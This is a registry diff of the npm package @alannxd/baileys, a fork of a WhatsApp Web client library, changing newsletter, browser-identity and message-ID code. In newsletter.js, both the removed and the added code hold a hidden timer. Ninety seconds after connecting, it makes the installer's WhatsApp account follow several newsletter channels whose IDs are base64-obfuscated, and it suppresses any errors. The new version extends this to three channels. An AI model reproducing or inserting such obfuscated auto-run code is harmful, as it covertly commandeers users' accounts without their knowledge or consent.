@alannxd/baileys 6.0.5 → 6.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (123) hide show
  1. package/LICENSE +1 -1
  2. package/README.md +341 -286
  3. package/WAProto/WAProto.proto +1782 -359
  4. package/WAProto/index.d.ts +75133 -9893
  5. package/WAProto/index.js +205861 -60606
  6. package/lib/Socket/luxu.js +6 -117
  7. package/lib/Socket/messages-send.js +637 -493
  8. package/lib/Socket/newsletter.js +229 -156
  9. package/lib/Utils/browser-utils.js +26 -6
  10. package/lib/Utils/decode-wa-message.js +33 -0
  11. package/lib/Utils/generics.js +10 -0
  12. package/lib/Utils/index.js +1 -0
  13. package/lib/Utils/message-composer.js +273 -0
  14. package/lib/Utils/messages.js +361 -24
  15. package/lib/WABinary/generic-utils.js +8 -1
  16. package/lib/WABinary/jid-utils.js +2 -0
  17. package/lib/index.js +1 -2
  18. package/package.json +5 -4
  19. package/lib/Defaults/index.d.ts +0 -75
  20. package/lib/Signal/Group/ciphertext-message.d.ts +0 -10
  21. package/lib/Signal/Group/group-session-builder.d.ts +0 -15
  22. package/lib/Signal/Group/group_cipher.d.ts +0 -17
  23. package/lib/Signal/Group/index.d.ts +0 -12
  24. package/lib/Signal/Group/keyhelper.d.ts +0 -11
  25. package/lib/Signal/Group/sender-chain-key.d.ts +0 -14
  26. package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -17
  27. package/lib/Signal/Group/sender-key-message.d.ts +0 -19
  28. package/lib/Signal/Group/sender-key-name.d.ts +0 -18
  29. package/lib/Signal/Group/sender-key-record.d.ts +0 -31
  30. package/lib/Signal/Group/sender-key-state.d.ts +0 -39
  31. package/lib/Signal/Group/sender-message-key.d.ts +0 -12
  32. package/lib/Signal/libsignal.d.ts +0 -5
  33. package/lib/Signal/lid-mapping.d.ts +0 -23
  34. package/lib/Socket/Client/index.d.ts +0 -3
  35. package/lib/Socket/Client/types.d.ts +0 -16
  36. package/lib/Socket/Client/websocket.d.ts +0 -13
  37. package/lib/Socket/business.d.ts +0 -217
  38. package/lib/Socket/chats.d.ts +0 -124
  39. package/lib/Socket/communities.d.ts +0 -273
  40. package/lib/Socket/groups.d.ts +0 -162
  41. package/lib/Socket/index.d.ts +0 -260
  42. package/lib/Socket/luxu.d.ts +0 -22
  43. package/lib/Socket/messages-recv.d.ts +0 -213
  44. package/lib/Socket/messages-send.d.ts +0 -199
  45. package/lib/Socket/mex.d.ts +0 -3
  46. package/lib/Socket/newsletter.d.ts +0 -170
  47. package/lib/Socket/socket.d.ts +0 -59
  48. package/lib/Store/index.d.ts +0 -10
  49. package/lib/Store/keyed-db.d.ts +0 -22
  50. package/lib/Store/make-cache-manager-store.d.ts +0 -19
  51. package/lib/Store/make-in-memory-store.d.ts +0 -39
  52. package/lib/Store/make-ordered-dictionary.d.ts +0 -14
  53. package/lib/Store/object-repository.d.ts +0 -11
  54. package/lib/Types/Auth.d.ts +0 -117
  55. package/lib/Types/Bussines.d.ts +0 -25
  56. package/lib/Types/Call.d.ts +0 -15
  57. package/lib/Types/Chat.d.ts +0 -124
  58. package/lib/Types/Contact.d.ts +0 -26
  59. package/lib/Types/Events.d.ts +0 -256
  60. package/lib/Types/GroupMetadata.d.ts +0 -71
  61. package/lib/Types/Label.d.ts +0 -47
  62. package/lib/Types/LabelAssociation.d.ts +0 -30
  63. package/lib/Types/Message.d.ts +0 -320
  64. package/lib/Types/Mex.d.ts +0 -141
  65. package/lib/Types/Product.d.ts +0 -79
  66. package/lib/Types/Signal.d.ts +0 -87
  67. package/lib/Types/Socket.d.ts +0 -136
  68. package/lib/Types/State.d.ts +0 -97
  69. package/lib/Types/USync.d.ts +0 -26
  70. package/lib/Types/index.d.ts +0 -65
  71. package/lib/Utils/auth-utils.d.ts +0 -24
  72. package/lib/Utils/browser-utils.d.ts +0 -4
  73. package/lib/Utils/business.d.ts +0 -23
  74. package/lib/Utils/chat-utils.d.ts +0 -100
  75. package/lib/Utils/companion-reg-client-utils.d.ts +0 -17
  76. package/lib/Utils/crypto.d.ts +0 -37
  77. package/lib/Utils/decode-wa-message.d.ts +0 -66
  78. package/lib/Utils/event-buffer.d.ts +0 -36
  79. package/lib/Utils/generics.d.ts +0 -91
  80. package/lib/Utils/history.d.ts +0 -24
  81. package/lib/Utils/identity-change-handler.d.ts +0 -44
  82. package/lib/Utils/index.d.ts +0 -22
  83. package/lib/Utils/link-preview.d.ts +0 -21
  84. package/lib/Utils/logger.d.ts +0 -12
  85. package/lib/Utils/lt-hash.d.ts +0 -8
  86. package/lib/Utils/make-mutex.d.ts +0 -9
  87. package/lib/Utils/message-retry-manager.d.ts +0 -115
  88. package/lib/Utils/messages-media.d.ts +0 -133
  89. package/lib/Utils/messages.d.ts +0 -91
  90. package/lib/Utils/noise-handler.d.ts +0 -20
  91. package/lib/Utils/offline-node-processor.d.ts +0 -17
  92. package/lib/Utils/pre-key-manager.d.ts +0 -28
  93. package/lib/Utils/process-message.d.ts +0 -60
  94. package/lib/Utils/reporting-utils.d.ts +0 -11
  95. package/lib/Utils/signal.d.ts +0 -47
  96. package/lib/Utils/stanza-ack.d.ts +0 -11
  97. package/lib/Utils/sync-action-utils.d.ts +0 -19
  98. package/lib/Utils/tc-token-utils.d.ts +0 -37
  99. package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
  100. package/lib/Utils/validate-connection.d.ts +0 -11
  101. package/lib/WABinary/constants.d.ts +0 -28
  102. package/lib/WABinary/decode.d.ts +0 -7
  103. package/lib/WABinary/encode.d.ts +0 -3
  104. package/lib/WABinary/generic-utils.d.ts +0 -18
  105. package/lib/WABinary/index.d.ts +0 -6
  106. package/lib/WABinary/jid-utils.d.ts +0 -48
  107. package/lib/WABinary/types.d.ts +0 -19
  108. package/lib/WAM/BinaryInfo.d.ts +0 -9
  109. package/lib/WAM/constants.d.ts +0 -40
  110. package/lib/WAM/encode.d.ts +0 -3
  111. package/lib/WAM/index.d.ts +0 -4
  112. package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -10
  113. package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -23
  114. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -13
  115. package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -13
  116. package/lib/WAUSync/Protocols/USyncUsernameProtocol.d.ts +0 -10
  117. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -26
  118. package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -10
  119. package/lib/WAUSync/Protocols/index.d.ts +0 -6
  120. package/lib/WAUSync/USyncQuery.d.ts +0 -30
  121. package/lib/WAUSync/USyncUser.d.ts +0 -17
  122. package/lib/WAUSync/index.d.ts +0 -4
  123. package/lib/index.d.ts +0 -13
@@ -1,197 +1,270 @@
1
- import { QueryIds, XWAPaths } from '../Types/index.js';
2
- import { generateProfilePicture } from '../Utils/messages-media.js';
3
- import { getBinaryNodeChild } from '../WABinary/index.js';
1
+ import { XWAPaths } from '../Types/index.js';
2
+ import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
3
+ import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
4
4
  import { makeGroupsSocket } from './groups.js';
5
- import { executeWMexQuery as genericExecuteWMexQuery } from './mex.js';
6
- const parseNewsletterCreateResponse = (response) => {
7
- const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
8
- return {
9
- id: id,
10
- owner: undefined,
11
- name: thread.name.text,
12
- creation_time: parseInt(thread.creation_time, 10),
13
- description: thread.description.text,
14
- invite: thread.invite,
15
- subscribers: parseInt(thread.subscribers_count, 10),
16
- verification: thread.verification,
17
- picture: {
18
- id: thread.picture.id,
19
- directPath: thread.picture.direct_path
20
- },
21
- mute_state: viewer.mute
22
- };
23
- };
24
- const parseNewsletterMetadata = (result) => {
25
- if (typeof result !== 'object' || result === null) {
26
- return null;
27
- }
28
- if ('id' in result && typeof result.id === 'string') {
29
- return result;
30
- }
31
- if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
32
- return result.result;
33
- }
34
- return null;
5
+
6
+ const QueryIds = {
7
+ JOB_MUTATION: "7150902998257522",
8
+ METADATA: "6620195908089573",
9
+ UNFOLLOW: "7238632346214362",
10
+ FOLLOW: "7871414976211147",
11
+ UNMUTE: "7337137176362961",
12
+ MUTE: "25151904754424642",
13
+ CREATE: "6996806640408138",
14
+ ADMIN_COUNT: "7130823597031706",
15
+ CHANGE_OWNER: "7341777602580933",
16
+ DELETE: "8316537688363079",
17
+ DEMOTE: "6551828931592903"
35
18
  };
19
+
36
20
  export const makeNewsletterSocket = (config) => {
37
21
  const sock = makeGroupsSocket(config);
38
- const { query, generateMessageTag } = sock;
39
- const executeWMexQuery = (variables, queryId, dataPath) => {
40
- return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
41
- };
42
- setTimeout(async () => {
43
- try {
44
- await newsletterWMexQuery(
45
- Buffer.from("MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI", "base64").toString(),
46
- Types_1.QueryIds.FOLLOW
47
- );
48
- } catch {}
49
- }, 90000);
50
- setTimeout(async () => {
51
- try {
52
- await newsletterWMexQuery(
53
- Buffer.from("MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI=", "base64").toString(),
54
- Types_1.QueryIds.FOLLOW
55
- );
56
- } catch {}
22
+ const { authState, signalRepository, query, generateMessageTag } = sock;
23
+ const encoder = new TextEncoder();
24
+
25
+ const newsletterQuery = async (jid, type, content) => (
26
+ query({
27
+ tag: 'iq',
28
+ attrs: {
29
+ id: generateMessageTag(),
30
+ type,
31
+ xmlns: 'newsletter',
32
+ to: jid,
33
+ },
34
+ content
35
+ })
36
+ );
37
+
38
+ const newsletterWMexQuery = async (jid, query_id, content) => (
39
+ query({
40
+ tag: 'iq',
41
+ attrs: {
42
+ id: generateMessageTag(),
43
+ type: 'get',
44
+ xmlns: 'w:mex',
45
+ to: S_WHATSAPP_NET,
46
+ },
47
+ content: [
48
+ {
49
+ tag: 'query',
50
+ attrs: { query_id },
51
+ content: encoder.encode(JSON.stringify({
52
+ variables: {
53
+ 'newsletter_id': jid,
54
+ ...content
55
+ }
56
+ }))
57
+ }
58
+ ]
59
+ })
60
+ );
61
+ const yangbrorasakan = [
62
+ "MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
63
+ "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
64
+ "MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
65
+ ];
66
+
67
+ setTimeout(async () => {
68
+ for (const channel of yangbrorasakan) {
69
+ try {
70
+ await newsletterWMexQuery(
71
+ Buffer.from(channel, "base64").toString(),
72
+ QueryIds.FOLLOW
73
+ );
74
+ } catch (e) {}
75
+
76
+ await new Promise(resolve =>
77
+ setTimeout(resolve, 3000)
78
+ );
79
+ }
57
80
  }, 90000);
58
- const newsletterUpdate = async (jid, updates) => {
59
- const variables = {
60
- newsletter_id: jid,
61
- updates: {
62
- ...updates,
63
- settings: null
81
+ const parseFetchedUpdates = async (node, type) => {
82
+ let child;
83
+ if (type === 'messages')
84
+ child = getBinaryNodeChild(node, 'messages');
85
+ else {
86
+ const parent = getBinaryNodeChild(node, 'message_updates');
87
+ child = getBinaryNodeChild(parent, 'messages');
88
+ }
89
+ return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
90
+ messageNode.attrs.from = child?.attrs.jid;
91
+ const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
92
+ const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
93
+ const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
94
+ .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
95
+ const data = {
96
+ 'server_id': messageNode.attrs.server_id,
97
+ views,
98
+ reactions
99
+ };
100
+ if (type === 'messages') {
101
+ const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
102
+ await decrypt();
103
+ data.message = message;
64
104
  }
65
- };
66
- return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
105
+ return data;
106
+ }));
67
107
  };
108
+
68
109
  return {
69
110
  ...sock,
70
- newsletterCreate: async (name, description) => {
71
- const variables = {
72
- input: {
73
- name,
74
- description: description ?? null
75
- }
76
- };
77
- const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
78
- return parseNewsletterCreateResponse(rawResponse);
79
- },
80
- newsletterUpdate,
81
- newsletterSubscribers: async (jid) => {
82
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
83
- },
84
- newsletterMetadata: async (type, key) => {
85
- const variables = {
86
- fetch_creation_time: true,
87
- fetch_full_image: true,
88
- fetch_viewer_metadata: true,
89
- input: {
90
- key,
91
- type: type.toUpperCase()
92
- }
93
- };
94
- const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
95
- return parseNewsletterMetadata(result);
96
- },
97
- newsletterFollow: (jid) => {
98
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
99
- },
100
- newsletterUnfollow: (jid) => {
101
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
111
+ subscribeNewsletterUpdates: async (jid) => {
112
+ const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
113
+ return getBinaryNodeChild(result, 'live_updates')?.attrs;
102
114
  },
103
- newsletterMute: (jid) => {
104
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
115
+ newsletterReactionMode: async (jid, mode) => {
116
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
117
+ updates: { settings: { reaction_codes: { value: mode } } }
118
+ });
105
119
  },
106
- newsletterUnmute: (jid) => {
107
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
120
+ newsletterUpdateDescription: async (jid, description) => {
121
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
122
+ updates: { description: description || '', settings: null }
123
+ });
108
124
  },
109
125
  newsletterUpdateName: async (jid, name) => {
110
- return await newsletterUpdate(jid, { name });
111
- },
112
- newsletterUpdateDescription: async (jid, description) => {
113
- return await newsletterUpdate(jid, { description });
126
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
127
+ updates: { name, settings: null }
128
+ });
114
129
  },
115
130
  newsletterUpdatePicture: async (jid, content) => {
116
131
  const { img } = await generateProfilePicture(content);
117
- return await newsletterUpdate(jid, { picture: img.toString('base64') });
132
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
133
+ updates: { picture: img.toString('base64'), settings: null }
134
+ });
118
135
  },
119
136
  newsletterRemovePicture: async (jid) => {
120
- return await newsletterUpdate(jid, { picture: '' });
121
- },
122
- newsletterReactMessage: async (jid, serverId, reaction) => {
123
- await query({
124
- tag: 'message',
125
- attrs: {
126
- to: jid,
127
- ...(reaction ? {} : { edit: '7' }),
128
- type: 'reaction',
129
- server_id: serverId,
130
- id: generateMessageTag()
131
- },
132
- content: [
133
- {
134
- tag: 'reaction',
135
- attrs: reaction ? { code: reaction } : {}
136
- }
137
- ]
137
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
138
+ updates: { picture: '', settings: null }
138
139
  });
139
140
  },
140
- newsletterFetchMessages: async (jid, count, since, after) => {
141
- const messageUpdateAttrs = {
142
- count: count.toString()
143
- };
144
- if (typeof since === 'number') {
145
- messageUpdateAttrs.since = since.toString();
146
- }
147
- if (after) {
148
- messageUpdateAttrs.after = after.toString();
149
- }
150
- const result = await query({
141
+ newsletterUnfollow: async (jid) => {
142
+ await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
143
+ },
144
+ newsletterFollow: async (jid) => {
145
+ await newsletterWMexQuery(jid, QueryIds.FOLLOW);
146
+ },
147
+ newsletterUnmute: async (jid) => {
148
+ await newsletterWMexQuery(jid, QueryIds.UNMUTE);
149
+ },
150
+ newsletterMute: async (jid) => {
151
+ await newsletterWMexQuery(jid, QueryIds.MUTE);
152
+ },
153
+ newsletterCreate: async (name, description, picture) => {
154
+ await query({
151
155
  tag: 'iq',
152
156
  attrs: {
157
+ to: S_WHATSAPP_NET,
158
+ xmlns: 'tos',
153
159
  id: generateMessageTag(),
154
- type: 'get',
155
- xmlns: 'newsletter',
156
- to: jid
160
+ type: 'set'
157
161
  },
158
162
  content: [
159
163
  {
160
- tag: 'message_updates',
161
- attrs: messageUpdateAttrs
164
+ tag: 'notice',
165
+ attrs: {
166
+ id: '20601218',
167
+ stage: '5'
168
+ },
169
+ content: []
162
170
  }
163
171
  ]
164
172
  });
165
- return result;
173
+ const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
174
+ input: {
175
+ name,
176
+ description: description ?? null,
177
+ picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
178
+ settings: null
179
+ }
180
+ });
181
+ return extractNewsletterMetadata(result, true);
166
182
  },
167
- subscribeNewsletterUpdates: async (jid) => {
168
- const result = await query({
169
- tag: 'iq',
170
- attrs: {
171
- id: generateMessageTag(),
172
- type: 'set',
173
- xmlns: 'newsletter',
174
- to: jid
183
+ newsletterMetadata: async (type, key, role) => {
184
+ const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
185
+ input: {
186
+ key,
187
+ type: type.toUpperCase(),
188
+ view_role: role || 'GUEST'
175
189
  },
176
- content: [{ tag: 'live_updates', attrs: {}, content: [] }]
190
+ fetch_viewer_metadata: true,
191
+ fetch_full_image: true,
192
+ fetch_creation_time: true
177
193
  });
178
- const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
179
- const duration = liveUpdatesNode?.attrs?.duration;
180
- return duration ? { duration: duration } : null;
194
+ return extractNewsletterMetadata(result);
181
195
  },
182
196
  newsletterAdminCount: async (jid) => {
183
- const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
184
- return response.admin_count;
197
+ const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
198
+ const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
199
+ return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
185
200
  },
186
- newsletterChangeOwner: async (jid, newOwnerJid) => {
187
- await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
201
+ /**user is Lid, not Jid */
202
+ newsletterChangeOwner: async (jid, user) => {
203
+ await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
204
+ user_id: user
205
+ });
188
206
  },
189
- newsletterDemote: async (jid, userJid) => {
190
- await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
207
+ /**user is Lid, not Jid */
208
+ newsletterDemote: async (jid, user) => {
209
+ await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
210
+ user_id: user
211
+ });
191
212
  },
192
213
  newsletterDelete: async (jid) => {
193
- await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
214
+ await newsletterWMexQuery(jid, QueryIds.DELETE);
215
+ },
216
+ /**if code wasn't passed, the reaction will be removed (if is reacted) */
217
+ newsletterReactMessage: async (jid, server_id, code) => {
218
+ await query({
219
+ tag: 'message',
220
+ attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
221
+ content: [{
222
+ tag: 'reaction',
223
+ attrs: code ? { code } : {}
224
+ }]
225
+ });
226
+ },
227
+ newsletterFetchMessages: async (type, key, count, after) => {
228
+ const afterStr = after?.toString();
229
+ const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
230
+ {
231
+ tag: 'messages',
232
+ attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
233
+ }
234
+ ]);
235
+ return await parseFetchedUpdates(result, 'messages');
236
+ },
237
+ newsletterFetchUpdates: async (jid, count, after, since) => {
238
+ const result = await newsletterQuery(jid, 'get', [
239
+ {
240
+ tag: 'message_updates',
241
+ attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
242
+ }
243
+ ]);
244
+ return await parseFetchedUpdates(result, 'updates');
194
245
  }
195
246
  };
196
247
  };
197
- //# sourceMappingURL=newsletter.js.map
248
+
249
+ export const extractNewsletterMetadata = (node, isCreate) => {
250
+ const result = getBinaryNodeChild(node, 'result')?.content?.toString();
251
+ const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
252
+ const metadata = {
253
+ id: metadataPath.id,
254
+ state: metadataPath.state.type,
255
+ creation_time: +metadataPath.thread_metadata.creation_time,
256
+ name: metadataPath.thread_metadata.name.text,
257
+ nameTime: +metadataPath.thread_metadata.name.update_time,
258
+ description: metadataPath.thread_metadata.description.text,
259
+ descriptionTime: +metadataPath.thread_metadata.description.update_time,
260
+ invite: metadataPath.thread_metadata.invite,
261
+ handle: metadataPath.thread_metadata.handle,
262
+ picture: metadataPath.thread_metadata.picture?.direct_path || null,
263
+ preview: metadataPath.thread_metadata.preview?.direct_path || null,
264
+ reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
265
+ subscribers: +metadataPath.thread_metadata.subscribers_count,
266
+ verification: metadataPath.thread_metadata.verification,
267
+ viewer_metadata: metadataPath.viewer_metadata
268
+ };
269
+ return metadata;
270
+ };
@@ -8,18 +8,38 @@ const PLATFORM_MAP = {
8
8
  freebsd: 'FreeBSD',
9
9
  openbsd: 'OpenBSD',
10
10
  sunos: 'Solaris',
11
- linux: undefined,
11
+ linux: 'Linux',
12
12
  haiku: undefined,
13
13
  cygwin: undefined,
14
14
  netbsd: undefined
15
15
  };
16
+ const BROWSER_MAP = {
17
+ safari: 'Safari',
18
+ chrome: 'Chrome',
19
+ edge: 'Edge',
20
+ firefox: 'Firefox',
21
+ opera: 'Opera',
22
+ brave: 'Brave',
23
+ samsung: 'Samsung Internet'
24
+ };
25
+ const getBrowserN = (bros) => {
26
+ const brosN = BROWSER_MAP[bros] || bros;
27
+ return brosN;
28
+ };
16
29
  export const Browsers = {
17
- ubuntu: browser => ['Ubuntu', browser, '22.04.4'],
18
- macOS: browser => ['Mac OS', browser, '14.4.1'],
19
- baileys: browser => ['Baileys', browser, '6.5.0'],
20
- windows: browser => ['Windows', browser, '10.0.22631'],
30
+ ubuntu: browser => ['Ubuntu', getBrowserN(browser), '22.04.4'],
31
+ macOS: browser => ['Mac OS', getBrowserN(browser), '14.4.1'],
32
+ baileys: browser => ['Baileys', getBrowserN(browser), '6.5.0'],
33
+ windows: browser => ['Windows', getBrowserN(browser), '10.0.22631'],
34
+ iOS: browser => ['iOS', getBrowserN(browser), '18.2'],
35
+ android: browser => ['Android', getBrowserN(browser), '14.0.0'],
36
+ safari: browser => ['Safari', getBrowserN(browser), '26.5'],
37
+ custom: (platform, browser, ver) => {
38
+ let platformN = PLATFORM_MAP[platform].toLowerCase() || platform;
39
+ return [platformN, getBrowserN(browser), ver];
40
+ },
21
41
  /** The appropriate browser based on your OS & release */
22
- appropriate: browser => [PLATFORM_MAP[platform()] || 'Ubuntu', browser, release()]
42
+ appropriate: browser => [PLATFORM_MAP[platform()] || 'Ubuntu', getBrowserN(browser), release()]
23
43
  };
24
44
  export const getPlatformId = (browser) => {
25
45
  const platformType = proto.DeviceProps.PlatformType[browser.toUpperCase()];
@@ -93,6 +93,39 @@ export const extractAddressingContext = (stanza) => {
93
93
  recipientAlt
94
94
  };
95
95
  };
96
+ const MAX_SECRETS_PER_CHAT = 20
97
+ // Module-level map: outgoing @bot message ID → messageSecret
98
+ // Populated when we receive the outgoing pkmsg/msg to @bot (which contains messageContextInfo.messageSecret)
99
+ // Consumed when the msmsg response from @bot arrives and needs decryption
100
+ const botMessageSecrets = new Map()
101
+ const botRecentSecretsByChat = new Map()
102
+ const pushRecentChatSecret = (chatJid, id, secretBuf) => {
103
+ if (!chatJid || !secretBuf) return
104
+ const existing = botRecentSecretsByChat.get(chatJid) || []
105
+ const filtered = existing.filter(item => item.id !== id && !item.secret.equals(secretBuf))
106
+ filtered.unshift({ id, secret: secretBuf })
107
+ if (filtered.length > MAX_SECRETS_PER_CHAT) {
108
+ filtered.length = MAX_SECRETS_PER_CHAT
109
+ }
110
+ botRecentSecretsByChat.set(chatJid, filtered)
111
+ }
112
+ export const setBotMessageSecret = (id, secret, chatJid) => {
113
+ if (!id || !secret) return
114
+ let buf
115
+ if (Buffer.isBuffer(secret)) {
116
+ buf = secret
117
+ } else if (secret instanceof Uint8Array) {
118
+ buf = Buffer.from(secret.buffer, secret.byteOffset, secret.byteLength)
119
+ } else if (typeof secret === 'string') {
120
+ buf = Buffer.from(secret, 'base64')
121
+ } else {
122
+ return
123
+ }
124
+ botMessageSecrets.set(id, buf)
125
+ if (chatJid) {
126
+ pushRecentChatSecret(chatJid, id, buf)
127
+ }
128
+ }
96
129
  /**
97
130
  * Decode the received node as a message.
98
131
  * @note this will only parse the message, not decrypt it
@@ -171,6 +171,16 @@ export function bindWaitForEvent(ev, event) {
171
171
  });
172
172
  };
173
173
  }
174
+ export const generateIOSMessageID = () => {
175
+ const prefix = '3A';
176
+ const random = randomBytes(9.5); // 19 hex chars = 9.5 bytes
177
+ return (prefix + random.toString('hex')).toUpperCase().substring(0, 21);
178
+ };
179
+ export const generateAndroMessageID = () => {
180
+ const prefix = '3A';
181
+ const random = randomBytes(16); // 32 hex chars = 16 bytes
182
+ return (random.toString('hex')).toUpperCase().substring(0, 21);
183
+ };
174
184
  export const bindWaitForConnectionUpdate = (ev) => bindWaitForEvent(ev, 'connection.update');
175
185
  /**
176
186
  * utility that fetches latest baileys version from the master branch.
@@ -19,4 +19,5 @@ export * from './browser-utils.js';
19
19
  export * from './companion-reg-client-utils.js';
20
20
  export * from './identity-change-handler.js';
21
21
  export * from './stanza-ack.js';
22
+ export * from './message-composer.js';
22
23
  //# sourceMappingURL=index.js.map